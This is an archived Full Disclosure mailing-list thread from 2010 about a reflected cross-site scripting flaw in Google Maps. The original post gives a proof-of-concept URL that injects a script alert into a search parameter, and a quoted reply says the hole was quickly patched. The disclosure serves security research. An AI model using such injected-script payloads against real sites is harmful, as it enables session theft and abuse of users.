Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: Google Maps XSS (currently unpatched)
From: dramacrat <yirimyah () gmail com>
Date: Wed, 13 Jan 2010 02:07:38 +1100

ah, Google...

the only company in IT that can have an unpatched vulnerability
released to the world and get good publicity out of it.

Don't get me wrong, I'm not in the GoogleSucksAndIsEvil crowd... I
have friends that work for them, and I like to see a company like them
doing well.

Still, I can't help but suspect that one day in 50 years, Larry Page
is going to be lying on his deathbed when out of a puff of smoke
appears the Devil, who raises his trident and says "So, Mr Page, about
that soul you signed away..."

On 13/01/2010, Robin Sage <robin.sage () rocketmail com> wrote:
Google was quick on that one! It worked an hour and a half ago.

- Robin




________________________________
From: gaurav baruah <baruah.gaurav () gmail com>
To: full-disclosure () lists grok org uk
Sent: Tue, January 12, 2010 6:20:32 AM
Subject: [Full-disclosure] Google Maps XSS (currently unpatched)

Google Maps XSS (currently unpatched)

Discovered By -
Pratul Agrawal (pratul2u () gmail com)
Gaurav Baruah  (baruah.gaurav () gmail com)


PoC -
http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=%3Cscript%3Ealert(%22Google%20Sucks%20!%22)%3C/script%3E&vps=1&sll=28.613554,77.20906&sspn=0.009136,0.013797&ie=UTF8

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/





_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]